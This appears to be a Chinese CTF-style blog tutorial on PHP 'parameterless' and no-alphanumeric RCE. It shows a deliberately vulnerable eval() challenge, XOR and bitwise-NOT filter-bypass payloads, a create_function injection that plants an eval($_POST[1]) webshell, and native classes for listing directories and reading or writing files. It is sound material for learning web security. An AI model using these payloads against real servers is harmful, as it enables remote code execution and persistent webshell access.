一、无参RCE 介绍
什么是无参RCE?
RCE英文全称:remote command/code execute
分为远程命令执行ping和远程代码执行evel
本次总结的是远程代码执行eval
而没有参数,就是形似eval(qwe())
这种无限嵌套的RCE
二、主要函数
在我看来,无参RCE主要就是一些函数的利用
一些主要的比较危险的函数肯定要知道
比如:system(),exec(),scandir()等等
这里列举一些特殊的函数,也是无参RCE中能利用的
1.localeconv()
函数返回一包含本地数字及货币格式信息的数组
第一个元素是`.`,配合scandir使用
2.current() 别名是 pos()
获取数组的第一个元素
3.next()
函数将内部指针指向数组中的下一个元素,并返回该元素
内部指针初始位置为第一个,一次next()就是第二个
4.array_reverse()
以相反的元素顺序返回数组
5.array_flip()
交换数组的键和值
6.getallheaders()
获取当前请求的所有请求头信息
exec(getallheaders())
就是返回请求头的最后一行
7.end()
输出数组中的当前元素和最后一个元素的值
也可以配合getallheaders()使用
end(getallheaders())
https://www.runoob.com/php/func-array-end.html
一些数组操作,可以看这个网址
8.session_id()
9.get_defined_vars()
......
三、无数字字母RCE
源码:
<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("hacker!");
}
@eval($code);
?>
不能输入数字字母,就要想办法构造出数字字母
1、异或 ^
例如:@ ^ ! = a
<?php
$a=['!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '@', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~'];
foreach($a as $b){
foreach($a as $c){
echo "$b^$c=".($b^ $c);
echo "</br>";
}
}
?>
直接把所有的异或情况列出来,然后取构造想要的函数就好了
2、取反 ~
<?php
$a=urlencode(~('system'));
$b=serialize($a);
print_r($a);//输出 %8C%86%8C%8B%9A%92
?>
由于取反后,会有很多不可见字符,所以url编码一下输出就好了
GET请求方式会自行进行url解码
所以 code=~(%8C%86%8C%8B%9A%92)
就能绕过正则
最后的code就是system
这里还有一道SCTF的一道类似的题
无参而且无字母数字,并且过滤了非常多的函数
学习一下官方WP
最后传入的code
就是:
call_user_func('creat_funtion','','}eval($_POST[1]);/*')
等价于
create_funtion('','}eval($_POST[1]);/*')
//等价于
function lambda_1(){
return }eval($_POST[1]);/*
}
那其实就相当于,写入了eval($_POST[1]);
接下来就可以对1
进行传参
3、PHP的原生类的利用
通过函数get_declared_classes()
查看已定义的类(就是php的原生类)
<?php
print_r(get_declared_classes());
?>
/*
Array
(
[0] => stdClass
[1] => Exception
[2] => ErrorException
[3] => Error
[4] => CompileError
[5] => ParseError
[6] => TypeError
[7] => ArgumentCountError
[8] => ArithmeticError
[9] => DivisionByZeroError
[10] => Closure
[11] => Generator
[12] => ClosedGeneratorException
[13] => WeakReference
[14] => DateTime
[15] => DateTimeImmutable
[16] => DateTimeZone
[17] => DateInterval
[18] => DatePeriod
[19] => LibXMLError
[20] => SQLite3
[21] => SQLite3Stmt
[22] => SQLite3Result
[23] => DOMException
[24] => DOMStringList
[25] => DOMNameList
[26] => DOMImplementationList
[27] => DOMImplementationSource
[28] => DOMImplementation
[29] => DOMNode
[30] => DOMNameSpaceNode
[31] => DOMDocumentFragment
[32] => DOMDocument
[33] => DOMNodeList
[34] => DOMNamedNodeMap
[35] => DOMCharacterData
[36] => DOMAttr
[37] => DOMElement
[38] => DOMText
[39] => DOMComment
[40] => DOMTypeinfo
[41] => DOMUserDataHandler
[42] => DOMDomError
[43] => DOMErrorHandler
[44] => DOMLocator
[45] => DOMConfiguration
[46] => DOMCdataSection
[47] => DOMDocumentType
[48] => DOMNotation
[49] => DOMEntity
[50] => DOMEntityReference
[51] => DOMProcessingInstruction
[52] => DOMStringExtend
[53] => DOMXPath
[54] => finfo
[55] => HashContext
[56] => JsonException
[57] => LogicException
[58] => BadFunctionCallException
[59] => BadMethodCallException
[60] => DomainException
[61] => InvalidArgumentException
[62] => LengthException
[63] => OutOfRangeException
[64] => RuntimeException
[65] => OutOfBoundsException
[66] => OverflowException
[67] => RangeException
[68] => UnderflowException
[69] => UnexpectedValueException
[70] => RecursiveIteratorIterator
[71] => IteratorIterator
[72] => FilterIterator
[73] => RecursiveFilterIterator
[74] => CallbackFilterIterator
[75] => RecursiveCallbackFilterIterator
[76] => ParentIterator
[77] => LimitIterator
[78] => CachingIterator
[79] => RecursiveCachingIterator
[80] => NoRewindIterator
[81] => AppendIterator
[82] => InfiniteIterator
[83] => RegexIterator
[84] => RecursiveRegexIterator
[85] => EmptyIterator
[86] => RecursiveTreeIterator
[87] => ArrayObject
[88] => ArrayIterator
[89] => RecursiveArrayIterator
[90] => SplFileInfo
[91] => DirectoryIterator
[92] => FilesystemIterator
[93] => RecursiveDirectoryIterator
[94] => GlobIterator
[95] => SplFileObject
[96] => SplTempFileObject
[97] => SplDoublyLinkedList
[98] => SplQueue
[99] => SplStack
[100] => SplHeap
[101] => SplMinHeap
[102] => SplMaxHeap
[103] => SplPriorityQueue
[104] => SplFixedArray
[105] => SplObjectStorage
[106] => MultipleIterator
[107] => PDOException
[108] => PDO
[109] => PDOStatement
[110] => PDORow
[111] => SessionHandler
[112] => ReflectionException
[113] => Reflection
[114] => ReflectionFunctionAbstract
[115] => ReflectionFunction
[116] => ReflectionGenerator
[117] => ReflectionParameter
[118] => ReflectionType
[119] => ReflectionNamedType
[120] => ReflectionMethod
[121] => ReflectionClass
[122] => ReflectionObject
[123] => ReflectionProperty
[124] => ReflectionClassConstant
[125] => ReflectionExtension
[126] => ReflectionZendExtension
[127] => ReflectionReference
[128] => __PHP_Incomplete_Class
[129] => php_user_filter
[130] => Directory
[131] => AssertionError
[132] => SimpleXMLElement
[133] => SimpleXMLIterator
[134] => PharException
[135] => Phar
[136] => PharData
[137] => PharFileInfo
[138] => XMLReader
[139] => XMLWriter
)
*/
一、可遍历目录类
1.DirectoryIterator
参数为一个目录的路径
该目录下的每个文件都是该类的实例,有自带的方法
//遍历目录下的所有文件
$dir = new DirectoryIterator(dirname(__FILE__));
//获得该类的所有方法
#print_r(get_class_methods($dir))
//1、foreach直接循环
foreach ($dir as $file){
if($file->isFile()){
echo $file->getFilename()."<br />";
}
}
Array //所有方法
(
[0] => __construct
[1] => getFilename
[2] => getExtension
[3] => getBasename
[4] => isDot
[5] => rewind
[6] => valid
[7] => key
[8] => current
[9] => next
[10] => seek
[11] => __toString
[12] => getPath
[13] => getPathname
[14] => getPerms
[15] => getInode
[16] => getSize
[17] => getOwner
[18] => getGroup
[19] => getATime
[20] => getMTime
[21] => getCTime
[22] => getType
[23] => isWritable
[24] => isReadable
[25] => isExecutable
[26] => isFile
[27] => isDir
[28] => isLink
[29] => getLinkTarget
[30] => getRealPath
[31] => getFileInfo
[32] => getPathInfo
[33] => openFile
[34] => setFileClass
[35] => setInfoClass
[36] => _bad_state_ex
)
(1)__FILE__
常量
当前文件的路径
/box1/box/script.php
dirname(__FILE__)
当前文件目录的路径
/box1/box
2.FilesystemIterator
$iterator = new FilesystemIterator(dirname(__FILE__)); // 创建当前目录的迭代器
#$iterator = new FilesystemIterator('.'); //一样的用法
while ($iterator->valid()) { // 检测迭代器是否到底了
echo $iterator->getFilename(), ':', $iterator->getCTime(), PHP_EOL;
$iterator->next(); // 游标往后移动
}
//输出所有方法
print_r(get_class_methods($iterator));
Array //所有方法
(
[0] => __construct
[1] => rewind
[2] => next
[3] => key
[4] => current
[5] => getFlags
[6] => setFlags
[7] => getFilename
[8] => getExtension
[9] => getBasename
[10] => isDot
[11] => valid
[12] => seek
[13] => __toString
[14] => getPath
[15] => getPathname
[16] => getPerms
[17] => getInode
[18] => getSize
[19] => getOwner
[20] => getGroup
[21] => getATime
[22] => getMTime
[23] => getCTime
[24] => getType
[25] => isWritable
[26] => isReadable
[27] => isExecutable
[28] => isFile
[29] => isDir
[30] => isLink
[31] => getLinkTarget
[32] => getRealPath
[33] => getFileInfo
[34] => getPathInfo
[35] => openFile
[36] => setFileClass
[37] => setInfoClass
[38] => _bad_state_ex
)
二、可读取文件类
1.SplFileObject
在此函数中,URL 可作为文件名,不过也要受到 allow_url_fopen
影响。
该类有两个参数,一个是文件名,一个是文件操作
(1)读文件
$filename = 'b.txt';
$method = 'r';
$fp = new SplFileObject($filename , $method);
print_r(get_class_methods($fp)); //输出所有方法
echo $fp->fread($fp->getSize()); //fread() 返回该文件内容 参数是字符个数(int)
Array //所有方法
(
[0] => __construct
[1] => rewind
[2] => eof
[3] => valid
[4] => fgets
[5] => fgetcsv
[6] => fputcsv
[7] => setCsvControl
[8] => getCsvControl
[9] => flock
[10] => fflush
[11] => ftell
[12] => fseek
[13] => fgetc
[14] => fpassthru
[15] => fgetss
[16] => fscanf
[17] => fwrite
[18] => fread
[19] => fstat
[20] => ftruncate
[21] => current
[22] => key
[23] => next
[24] => setFlags
[25] => getFlags
[26] => setMaxLineLen
[27] => getMaxLineLen
[28] => hasChildren
[29] => getChildren
[30] => seek
[31] => getCurrentLine
[32] => __toString
[33] => getPath
[34] => getFilename
[35] => getExtension
[36] => getBasename
[37] => getPathname
[38] => getPerms
[39] => getInode
[40] => getSize
[41] => getOwner
[42] => getGroup
[43] => getATime
[44] => getMTime
[45] => getCTime
[46] => getType
[47] => isWritable
[48] => isReadable
[49] => isExecutable
[50] => isFile
[51] => isDir
[52] => isLink
[53] => getLinkTarget
[54] => getRealPath
[55] => getFileInfo
[56] => getPathInfo
[57] => openFile
[58] => setFileClass
[59] => setInfoClass
[60] => _bad_state_ex
)
(2)第二个参数及其作用
- 打开模式为w,那么就是只写,不读
- 打开模式为r,那么就是只读,不写
- 打开模式为w+,那么指针就是在文件开头处读写
- 打开模式为a+,那么指针就是在文件末尾处读写
(3)写文件(filter过滤器,实现base64编码)
$f=new SplFileObject('php://filter/convert.base64-decode/resource=b.txt',"w");
$f->fwrite("Y3Rm");
php://filter/convert.base64-decode/resource=b.txt
这个就是在写入文件的时候,自动进行base64解码
那么使用fwrite
的时候,写入base64编码后的内容,最后在文件中就是正常的内容了
当然读取文件也可以使用过滤器,读取解码后的内容或者编码后的内容
知识点:
1、...array()
三个点
这个方式一开始看不懂,研究了一下,就是将数组的各个元素分离
例如:
...['q','w','e']
返回的就是三个字符 q,w,e
2、create_function
函数
根据传递的参数创建匿名函数,并为其返回唯一名称。
重点注意第二个参数
举个例子:
?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n"; //独一无二的名字 lambda_1
echo $newfunc(2, M_E) . "\n";
?>
等价于 =>
<?php
function lambda_1($a,$b){
return "ln($a) + ln($b) = " . log($a * $b);
}
?>
- 本文链接:http://siii0.github.io/%E6%97%A0%E5%8F%82RCE%E6%80%BB%E7%BB%93/
- 版权声明:本博客所有文章除特别声明外,均默认采用 许可协议。